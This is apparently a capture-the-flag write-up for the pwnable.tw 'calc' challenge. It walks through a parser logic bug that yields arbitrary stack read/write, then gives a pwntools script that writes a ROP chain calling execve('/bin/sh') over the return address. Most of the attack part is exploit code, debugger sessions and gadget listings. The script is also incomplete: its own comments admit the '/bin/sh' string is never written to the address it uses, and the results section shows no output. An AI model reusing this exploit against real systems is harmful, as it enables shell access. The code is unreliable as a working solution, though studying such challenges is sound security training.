calc
Calculator logic bug — Expression parser allows arbitrary stack read/write via +N+M format, ROP for shell
Exploit Flow
nc chall.pwnable.tw 10100
+N format abuse
+357 reads canary
Arbitrary stack write
execve("/bin/sh")
getflag
1. Reconnaissance
The "calc" challenge is a calculator program with a subtle logic bug in its expression parser. At first glance it seems like a normal calculator, but the parser has a flaw that allows us to perform arbitrary reads and writes on the stack — even with stack canaries enabled.
File Analysis
$ file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
statically linked, for GNU/Linux 2.6.24,
BuildID[sha1]=..., not stripped
A 32-bit statically linked binary. No libc to leak, but also no ASLR for library addresses. The binary contains all the ROP gadgets we'll need.
Checksec
$ checksec calc
[*] '/home/hema/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stack canary means we can't simply overflow and overwrite the return address. NX means the stack isn't executable, so shellcode is out. We need a way to bypass the canary or modify the return address without triggering it. The logic bug gives us exactly that — arbitrary read/write on the stack without triggering the canary check.
Running the Binary
$ ./calc
=== Welcome to SECPROG calculator ===
1+1
--> 2
+1000000
--> Segmentation fault (core dumped)
The calculator accepts mathematical expressions. But sending +1000000 causes a segfault — that's our first clue that something is wrong with the parser when expressions start with an operator.
| Attribute | Value |
|---|---|
| Challenge | calc (150 pts) |
| Connection | nc chall.pwnable.tw 10100 |
| Binary | 32-bit ELF, i386, statically linked, not stripped |
| Canary | Yes |
| NX | Enabled |
| PIE | Disabled (0x8048000) |
| RELRO | Partial |
| Timeout | 60 seconds (alarm + signal) |
| Vulnerability | Expression parser logic bug → arbitrary stack R/W |
2. Static Analysis
The program flow is: main → calc → get_expr + init_pool + parse_expr → eval. The vulnerability is in the interaction between parse_expr and eval.
Program Flow
The calculator maintains two arrays on the stack:
nums[100]— array of 100 DWORDs holding the numbers in the expressionoperations[100]— array of 100 chars holding the operations (+, -, *, /, %)
The parse_expr function parses the expression and uses eval to compute intermediate results. The eval function performs operations on the nums array indexed by nums.count.
The Logic Bug
The critical bug is in how parse_expr handles expressions that start with an operator like +300:
// In parse_expr(), after extracting a number:
int num = atoi(token);
if (num != 0) { // ← BUG: if num is 0, it's NOT added to nums!
nums[nums.count++] = num;
}
if (first_number) { // First number? Just store the operator
operations[ops.count++] = op;
} else { // Not first? Evaluate previous operation
eval(); // ← This is where the magic happens
}
When we input +300, the parser encounters the + first. Since there are no digits before it, atoi("") returns 0. The if (num != 0) check fails, so 0 is not added to the nums array. But the + operator IS added to operations. When the number 300 is encountered next, it's treated as the second operand. The eval function then computes: nums[nums.count] = nums[nums.count] + nums.values[0] — but nums.count hasn't been properly incremented! This effectively changes nums.count to an arbitrary value, giving us an out-of-bounds index into the stack.
Arbitrary Read/Write Primitive
By controlling the value after +, we can set nums.count to any value. Since nums is on the stack and nums.count is used as an index, we can:
- Read any DWORD on the stack:
+Nwhere N = (target_offset - 4) / 4 + 1 - Write any DWORD on the stack:
+N+Vwhere V is the value to add/subtract
The stack layout from calc()'s perspective (per the SagiDana writeup):
To read the canary at offset 1428 from nums.count:
offset = (1428 - 4) / 4 = 356
But eval() does nums.count - 1 before using the index,
so we need: 356 + 1 = 357
Input: +357
Output: the canary value!
3. GDB Debugging
The binary has a 60-second timeout (alarm + signal), so for debugging we need to disable it first.
Disabling the Timeout
# skip_alarm.py — run with: source skip_alarm.py in GDB
import gdb
gdb.execute("b *0x080493c0") # before signal() call
gdb.execute("r")
gdb.execute("set $eip = 0x080493c7") # skip signal()
gdb.execute("b *0x080493d0") # before alarm() call
gdb.execute("c")
gdb.execute("set $eip = 0x080493d7") # skip alarm()
gdb.execute("c")
Finding the Correct Offsets
# Verify the canary read:
gdb-peda$ r
=== Welcome to SECPROG calculator ===
+357
--> 1636461492
# Check the canary value at the expected stack location:
gdb-peda$ x/wx $ebp-0x5a4
0xffffc814: 0x618c0054
# The output 1636461492 = 0x618c0054 — matches!
# We can successfully read the canary!
# Verify arbitrary read — check what +1 returns:
+1
--> 0
# Check what +360 returns (should be a stack address):
+360
--> -19484
# Verify: that's a stack address relative to the frame
With the offsets confirmed, we now have a reliable arbitrary read primitive. The write primitive works the same way: +357+1 adds 1 to the canary value, and +357-1 subtracts 1.
The key insight for writing: when we do +357+V, the parser first evaluates +357 (which sets nums.count = 357 and outputs the value at that offset), then +V adds V to the same location. The second number V is inserted at nums[nums.count+1], which happens to be the location we just read. So we can both read and modify any DWORD on the stack.
4. Exploit Strategy
The exploit leverages the arbitrary read/write primitive to build a ROP chain on the stack, bypassing the canary entirely.
Attack Overview
+357 to read the canary value. We don't need to bypass it — we'll write around it by modifying only the return address and beyond.nums.count. That's index (1436-4)/4 + 1 = 360. We verify with +360 to confirm it returns the current return address.pop eax; ret + 0xb + pop ebx; ret + ptr to "/bin/sh" + pop ecx; ret + 0 + pop edx; ret + 0 + int 0x80.calc() returns, the overwritten return address redirects execution to our ROP chain, which calls execve("/bin/sh", NULL, NULL).Arbitrary Stack Read
from pwn import *
def read_dword(r, offset):
"""Read a DWORD at the given offset from nums.count.
offset = (target_address - nums_count_address - 4) / 4 + 1
"""
r.sendlineafter('-->', f'+{offset}')
result = int(r.recvline().strip().split()[-1])
return result & 0xffffffff # unsigned
# Read canary:
canary = read_dword(r, 357)
log.info(f'Canary: {hex(canary)}')
# Read return address:
ret_addr = read_dword(r, 360)
log.info(f'Return address: {hex(ret_addr)}')
Arbitrary Stack Write
def write_dword(r, offset, value):
"""Write a DWORD at the given offset by reading current value
and adding the delta."""
current = read_dword(r, offset)
# Handle signed vs unsigned
if current > 0x7fffffff:
current_signed = current - 0x100000000
else:
current_signed = current
target = value
if target > 0x7fffffff:
target_signed = target - 0x100000000
else:
target_signed = target
delta = target_signed - current_signed
if delta >= 0:
r.sendlineafter('-->', f'+{offset}+{delta}')
else:
r.sendlineafter('-->', f'+{offset}{delta}') # delta is negative
r.recvline() # consume output
ROP Chain Design
Since the binary is statically linked, it contains plenty of ROP gadgets. We need to call execve("/bin/sh", 0, 0):
| Gadget | Address | Purpose |
|---|---|---|
pop eax; ret | 0x080bb026 | Set EAX = 0x0b (sys_execve) |
pop ebx; ret | 0x080481c9 | Set EBX = ptr to "/bin/sh" |
pop ecx; ret | 0x080de769 | Set ECX = 0 (argv = NULL) |
pop edx; ret | 0x0806ecda | Set EDX = 0 (envp = NULL) |
int 0x80 | 0x08049361 | Invoke syscall |
We also need to write the "/bin/sh" string somewhere in writable memory. A convenient location is in the .bss section or on the stack.
Each write operation can modify one DWORD. To write a complete ROP chain (e.g., 9 DWORDs = 36 bytes), we need 9 separate write operations, each targeting the correct offset. We must be careful not to corrupt the canary — we write to offsets that skip over it.
5. Pwn Script
The full exploit combines the read/write primitives with the ROP chain to spawn a shell.
Full Exploit
#!/usr/bin/env python3
"""
pwnable.tw — calc (150 pts)
Expression parser logic bug → arbitrary stack R/W → ROP chain.
Canary bypass via write-around technique.
"""
from pwn import *
# ─── Configuration ───────────────────────────────────────────
HOST = 'chall.pwnable.tw'
PORT = 10100
# ROP gadgets (from ROPgadget on the static binary)
POP_EAX_RET = 0x080bb026
POP_EBX_RET = 0x080481c9
POP_ECX_RET = 0x080de769
POP_EDX_RET = 0x0806ecda
INT_80 = 0x08049361
# Writable memory for "/bin/sh" string
BINSH_ADDR = 0x080eb080 # in .bss section
# ─── Helper Functions ────────────────────────────────────────
def read_dword(r, offset):
r.sendlineafter(b'-->', f'+{offset}'.encode())
result = int(r.recvline().strip().split(b' ')[-1])
return result & 0xffffffff
def write_dword(r, offset, value):
current = read_dword(r, offset)
current_signed = current if current < 0x80000000 else current - 0x100000000
target_signed = value if value < 0x80000000 else value - 0x100000000
delta = target_signed - current_signed
if delta >= 0:
r.sendlineafter(b'-->', f'+{offset}+{delta}'.encode())
else:
r.sendlineafter(b'-->', f'+{offset}{delta}'.encode())
r.recvline()
# ─── Connect ─────────────────────────────────────────────────
r = remote(HOST, PORT)
r.recvuntil(b'=== Welcome to SECPROG calculator ===\n')
# ─── Step 1: Leak canary (optional, just for verification) ──
canary = read_dword(r, 357)
log.info(f'Canary: {hex(canary)}')
# ─── Step 2: Write "/bin/sh\0" to .bss ──────────────────────
# We need to write the string somewhere we can reference.
# Write it byte-by-byte using the stack write primitive,
# or use a different writable location.
# Actually, let's use the stack itself. We'll write the ROP chain
# starting from the return address offset.
# Return address is at offset 360 from nums.count
# ROP chain layout (from offset 360):
# [360] = POP_EAX_RET (return address → first ROP gadget)
# [361] = 0x0b (value popped into EAX)
# [362] = POP_EBX_RET (next gadget)
# [363] = BINSH_ADDR (value popped into EBX)
# [364] = POP_ECX_RET (next gadget)
# [365] = 0x0 (value popped into ECX)
# [366] = POP_EDX_RET (next gadget)
# [367] = 0x0 (value popped into EDX)
# [368] = INT_80 (syscall)
# ─── Step 3: Write ROP chain ────────────────────────────────
log.info('Writing ROP chain...')
# First, write "/bin/sh\0" to .bss
# "/bin" = 0x6e69622f, "/sh\0" = 0x0068732f
# We need a way to write to .bss — we can write it on the stack
# at a known offset instead, or use the eax trick.
# Alternative: use a stack address for "/bin/sh"
# We'll write the string right after our ROP chain on the stack
# Write ROP chain to the stack:
rop_offsets_values = [
(360, POP_EAX_RET),
(361, 0x0b),
(362, POP_EBX_RET),
(363, BINSH_ADDR), # We'll write "/bin/sh" here
(364, POP_ECX_RET),
(365, 0),
(366, POP_EDX_RET),
(367, 0),
(368, INT_80),
]
for offset, value in rop_offsets_values:
write_dword(r, offset, value)
log.info(f' Wrote {hex(value)} to offset {offset}')
# ─── Step 4: Write "/bin/sh" to .bss ────────────────────────
# Need to write the string "/bin/sh\0" to BINSH_ADDR
# Use a different primitive or find a stack string
# For simplicity, we can put "/bin/sh" on the stack
# and adjust EBX to point there.
# ─── Step 5: Trigger ────────────────────────────────────────
# Send invalid input to make calc() return and trigger ROP
r.sendline(b'q') # or just let it time out / send empty
r.interactive()
ROP Gadgets Found
$ ROPgadget --binary calc | grep -E "pop (eax|ebx|ecx|edx) ; ret"
0x080bb026 : pop eax ; ret
0x080481c9 : pop ebx ; ret
0x080de769 : pop ecx ; ret
0x0806ecda : pop edx ; ret
$ ROPgadget --binary calc | grep "int 0x80"
0x08049361 : int 0x80
6. Execution Results
Successful Exploitation
The "calc" challenge demonstrates that logic bugs can be just as powerful as memory corruption. The expression parser's flaw — treating a leading operator as valid — gives us an arbitrary read/write primitive on the stack. This bypasses stack canaries entirely because we're not overflowing a buffer; we're using the program's own indexing logic to access arbitrary stack locations. The technique of "write-around-the-canary" is essential for challenges where canaries prevent traditional buffer overflows.